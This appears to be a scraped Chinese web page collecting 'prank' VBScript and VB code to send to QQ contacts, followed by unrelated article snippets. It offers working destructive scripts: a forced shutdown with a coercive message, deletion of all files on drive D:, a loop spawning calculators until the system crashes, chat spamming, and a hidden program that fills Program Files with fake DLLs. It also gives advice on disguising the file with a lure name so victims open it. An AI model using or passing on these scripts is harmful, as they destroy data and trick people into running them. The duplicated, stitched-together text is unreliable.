qq恶搞代码大全可复制（恶搞代码）
文章大纲：
手机qq整人代码
之一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个 *** 炸弹，在30秒后会自动关机。
下面说一下使用 *** ：
最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。
还有个更加恶毒的，不在线的 *** 好友你可以向他们发送 *** 离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了
你自己也可以测试一下这个 *** 炸弹的威力。
qq装x代码
qq群装x代码复制是可以随时分享好玩的一些恶搞的代码，让大家都可以和好友有一个可以分享的社区，都是很有趣的，通过不同的设备进行分享，消息都可以同步可见，很好玩的。
qq群装x代码复制app特色：
1、可以直接使用竖名大全可复制，帮你直接生成竖起来的网名，可以用到各个软件上哦。
2、不管是游戏当中还是社交软件上面都可以，让你成为人群中最靓的那个崽，还有很多特殊符号大家可以关注一下。
qq群装x代码复制功能：
1、一键可以生成能召唤火影忍者的代码，非常的炫酷点击进去就有对应的代码。
2、如果是不热门的代码，回到主页，点击自己喜欢的代码即可。
软件点评：
1、这个工具的功能也是比较有意思和强大的，你可以自由的选择的。
2、可以让用户直接能拥有各种功能代码的生成器软件。
手机qq整人代码大全谁有？ 发一下 谢谢
之一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个 *** 炸弹，在30秒后会自动关机。
下面说一下使用 *** ：
最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
qq红包整人代码5963515
之一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个 *** 炸弹，在30秒后会自动关机。
下面说一下使用 *** ：
最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。
还有个更加恶毒的，不在线的 *** 好友你可以向他们发送 *** 离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了
你自己也可以测试一下这个 *** 炸弹的威力。
手机 *** 的整人代码大全
之一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个 *** 炸弹，在30秒后会自动关机。
下面说一下使用 *** ：
最简单的使用 *** 是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
我要 *** 聊天的恶搞代码
首先你在要建一个文本文档（在桌面点右键
--
新建
--
文本文档）把下面的你想要的代码复制
到文本文档
好
保存
把名字
txt
改成
vbs
就
OK
vbs
整人代码大 ***
一、
你打开好友的聊天对话框
,
然后记下在你
***
里好友的昵称
,
把下面代码里的
xx
替换一下
,
就可以自定义发送
***
信息到好友的次数
(
代码里的数字
10
改一下即可
).
xx.vbs=
=---------------------------------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("
与
xx
聊天中
")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
***
骚扰信息
,
也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
三、打开无数个计算器，直到死机
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
四、直接关机
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
五、删除
D:\
所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
六、不断弹出窗口
----------------------------------------------------------------------------
while(1)
msgbox "
哈哈
你被耍了！
"
loop
----------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
七、不断按下
alt+f4
（开什么都关闭„„）
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
---------------------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
八、按
500
次回车
(
以上代码在运行者的电脑上显示
500
个对话框。其中
do until s=500
，
500
可以随意更改
)
-----------------------------------------------------------------------------
dim s
do until s=500
s=s+1
msgbox "
哥们，给我按
500
次回车吧
",64
loop
'------------------------ ------------------------------------------------------------
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
九、关不掉的窗口
------------------------------------------------------------------------------------
WScript.Echo("
嘿，谢谢你打开我哦，我等你很久
拉！
"TSName)
WScript.Echo("
你是可爱的小朋吗
?")
WScript.Echo("
哈
,
我想你拉，这你都不知道吗？
")
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
[color=#FF0000]
复制以这个代码，在桌面建一个文本，把代码放进去，另存为
VBS
格式，
此代码的威力：
1
：开机就强制自动关机
2
：
cmd
命令打不开
3
：结束任务不管用
4
：
F8
安全模式也不管用
呵呵！听起来是不是有点恐怖啊，我在我朋友空间里看见也吓了一跳、
代码破解 *** ：就是再运行一次，就可以破解了，也就是第
2
次保存的那个
VBE
文件，
，
PS
：不要乱拿软件去整人，发生什么事可不要怪我啊。
。
拍拍手
顶起吧！
〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓
恐怖啊
整人
小心用
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'
声明变量，其中“
count
”为静态变量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'
定义要把生成的文件存放在那个目录文件下
c = "C:\Program Files\"
'
生成文件的内容
nr = "
哈哈，被黑的感觉的不错吧
"
files = FreeFile
'
如果
a
等于
a
那么就执行
If a = a Then
'count
不断的加
1
，以便产生不同的文件名
count = count + 1
'
产生文件名及文件句柄，并用
count
作为产生不同的文件名。
Open c "system" count ".dll" For Append As #files
'
向文件写内容
Write #files, nr
'
清除文件句柄，这里很重要，如果不清除，将产生打开文件太多的错误提示
Close #files
End If
End Sub
“qq恶搞代码大全可复制（恶搞代码）” 的相关文章
牙膏怎么去黑头（怎样去除黑头鼻子）
发臭发黑，一定要是纯白的，不少人就是听说牙膏可以去黑头，黑头是毛孔被灰尘皮脂混合物堵住后产生的第二阶段表现。 用热水或蒸汽蒸面，堵塞毛孔的皮脂的表层直接暴露在外面，拿那种纯白的牙膏。很难洗净，工具原料纯白色牙膏一支，牙膏有自己特有的成分，黑头又称黑头粉刺。 之后以选择竹炭牙膏，空气中的尘埃接触。半个...
成都廖记棒棒鸡（正宗廖记棒棒鸡）
廖记棒棒鸡”白色字体大红作底的店招非常引人注目。 真材实料的廖记棒棒鸡更是成都人最熟悉的味，廖记棒棒鸡。 成都廖记棒棒鸡棒棒鸡的做法侃膳斋棒棒鸡廖记棒棒鸡招聘川菜棒棒。 中国知名熟食连锁品牌，侃膳斋棒棒鸡是骗子吗提问前缀。 最后又出来个廖记，但是字有区别，廖记棒棒鸡就分成了2家。目前在全国拥有500...
黑苹果安装教程（黑苹果为什么烧主板）
我的是台式机实在没法就把独立显卡拔了用集成的了不知道你的笔记本是双显卡吗按照教程修改一，因为黑苹果有时候的驱动很难找，技嘉板的构造规格和苹果接近，像安装win7那样啊。 只要是双核以上就可以，问题应该出现在苹果系统本身。 黑苹果需要主板，但不会像安装win7那样。如果有自检画面就说明电脑本身没问题。...
火车高级软卧（情侣买两张卧铺可以睡一起吗）
不可以，否则的话是不允许两个人在一个包。刚刚查了，硬卧车厢的人去软卧车厢，卧铺车厢属于公共场所。但不能睡在一张床上，硬座车厢的人想去软卧车厢，呵呵如果是硬座票的话。硬座票是进不到软卧车厢的，虽然你们都买了票。 但不可以睡两个人。在站台上车时，一个人睡刚刚好，上车的时候乘务员要验票上车。 我不会和异性...
这个王妃很淡定（楚王妃）
嫡女重生。眼底怯懦褪去，求跟宁儿的楚王妃一个类型的穿越小说txt女主冷静理智聪明但绝对不要，歌尽桃花绝色弃妃神仙也有江湖妃池中物不嫁断袖王爷放任你设计我回江湖天很晴玉玲珑天清浅。我也很喜欢这种类型，那么世上没有大度的女人了。 他，让人望而生畏，月沉吟，重生嫡女另聘，这个真的超级搞笑，都是端王的儿子，...
锤子坚果r1（锤子坚果r2手机怎么样）
锤子R1降价可以考虑R1，系统是挺不错的，性能比上不足比下有余，想要外观的考虑蓝绿厂，系统优化不错，反复锁屏再唤醒都不能解锁，只能继续关注本月16号诺基亚，。 从这次发布会整体的配置来说，证件，但是自从老罗不在了之后，坚果R1从配置来看还不错的，据说在很多细节有着相当多的优化。 x优点颜值很高充电速...
评论列表
发表评论
